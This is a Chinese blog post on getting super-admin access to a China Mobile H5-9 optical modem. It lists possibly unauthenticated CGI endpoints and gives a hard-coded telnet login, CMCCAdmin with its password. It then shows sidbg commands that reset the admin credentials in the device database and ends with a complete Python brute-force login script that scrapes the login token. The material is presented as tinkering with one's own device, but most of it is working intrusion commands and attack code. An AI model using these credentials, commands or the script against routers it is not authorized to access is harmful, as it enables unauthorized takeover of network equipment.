原文中亲测有效的getpage目前已经众所周知并且失效,但由于笔者之前已经开启了Telnet,所以此处略过如何开启,后续有机会会寻找新的方法。(getpage并没有被删除,只是不对user用户开放,超管是可以访问的)
这里贴上可能的几种方案
有些光猫允许 user
账户访问某些 未鉴权的后端接口,比如:
/cgi-bin/getcfg.php
(可读取敏感配置)/formLogin.html
(可绕过登录)/cmd_exec
(危险!可能允许命令执行)
我们输入telnet 192.168.1.1
直接进入连接,用户名、密码如下:CMCCAdmin
aDm8H%MdA
然后直接修改数据库:
sidbg 1 DB set DevAuthInfo 0 User admin
sidbg 1 DB set DevAuthInfo 0 Pass 12345678
保存
sidbg 1 DB save
注意这里如果你保持默认的CMCCAdmin用户名不变可能是登录不进去的,提示已经有用户,请推出后再登录,所以我们需要修改一个别的名字。
这样在192.168.1.1就可以登录超管的光猫界面了。
同样的,这里贴上一个基于HTML/JS分析之后的暴力爆破脚本(经过测试,路由器有后端的IP尝试次数限制,所以这个脚本实用性不大,仅供参考了属于是)
import requests
from bs4 import BeautifulSoup
import hashlib
import time
# ================ 配置区 =================
TARGET_URL = "http://192.168.1.1"
USERNAME = "admin"
# 常见默认密码 + 你怀疑的密码
PASSWORD_LIST = [
"admin",
"password",
"123456"
]
DELAY_BETWEEN_TRIES = 1 # 每次尝试间隔(秒),避免过快
MAX_RETRIES = 3 # 获取 token 失败重试次数
# ========================================
def md5_upper(text):
"""计算大写 MD5 哈希"""
return hashlib.md5(text.encode('utf-8')).hexdigest().upper()
def get_login_token(session, url="http://192.168.1.1"):
"""从登录页面提取 Frm_Logintoken,支持 HTML 和 JS 两种方式"""
for _ in range(MAX_RETRIES):
try:
r = session.get(url, timeout=5)
if r.status_code != 200:
print(f"[-] HTTP {r.status_code} - 无法访问 {url}")
continue
# 方式1:从 <input> 标签中找
soup = BeautifulSoup(r.text, 'html.parser')
token_input = soup.find("input", {"name": "Frm_Logintoken"})
if token_input and token_input.get("value"):
return token_input["value"]
# 方式2:从 JS 中找 getObj("Frm_Logintoken").value = "6";
import re
js_pattern = r'getObj\s*\(\s*["\']Frm_Logintoken["\']\s*\)\s*\.value\s*=\s*["\'](\d+)["\'];'
match = re.search(js_pattern, r.text)
if match:
return match.group(1)
print("[-] 未找到 Frm_Logintoken 字段(HTML 和 JS 均未命中)")
except Exception as e:
print(f"[-] 获取页面失败: {e}")
time.sleep(2)
return None
def try_login(session, password):
"""尝试登录一次"""
# 1. 获取最新 token
token = get_login_token(session)
if not token:
print("[-] 无法获取 Frm_Logintoken,跳过本次尝试")
return False
# 2. 构造登录数据
login_data = {
"frashnum": "", # 空值即可
"action": "login",
"Frm_Logintoken": token,
"username": USERNAME,
"logincode": md5_upper(password), # MD5 大写
"textpwd": "", # 前端用,我们不需要
"ieversion": "1" # 固定值
}
try:
print(f"[→] 尝试密码: {password} (token={token})")
r = session.post(TARGET_URL, data=login_data, timeout=5)
# 3. 判断是否成功
# 成功登录通常会 302 重定向 或 返回主页
if r.status_code in (200, 302) and "登录成功" not in r.text:
# 检查是否返回锁定页面(关键特征)
if "错误登录次数已经达到三次" in r.text or "延时进行校验" in r.text:
print("[!] 登录失败,且触发锁定机制")
return False
# 检查是否 token 过期或无效
if "请重新登录" in r.text or "token" in r.text.lower():
print("[!] 可能 token 失效,需重新获取")
return False
# 如果返回的是登录页本身,且没有错误弹窗,可能是密码错
if "用户名" in r.text and "密码" in r.text:
print("[✗] 登录失败:密码错误")
return False
# 如果响应中不含登录表单,可能是跳转成功
if "用户名" not in r.text and "密码" not in r.text:
print(f"[✅] 【疑似成功】密码: {password}")
with open("success.html", "w", encoding="utf-8") as f:
f.write(r.text)
return True
print(f"[-] HTTP {r.status_code} - 未知响应")
return False
except Exception as e:
print(f"[⚠️] 请求异常: {e}")
return False
def main():
print("🔍 开始测试 H5-9 光猫登录...")
print(f"目标: {TARGET_URL}")
print(f"用户名: {USERNAME}")
print(f"密码总数: {len(PASSWORD_LIST)}")
print("-" * 50)
session = requests.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
})
for pwd in PASSWORD_LIST:
success = try_login(session, pwd)
if success:
print(f"\n🎉 登录成功!密码是: {pwd}")
break
time.sleep(DELAY_BETWEEN_TRIES)
else:
print("\n❌ 所有密码尝试均失败。")
print("测试结束。")
if __name__ == "__main__":
main()
这就是本文的全部内容了,下一篇可能会折腾如何在user模式下进入telnet页面。
Comments | NOTHING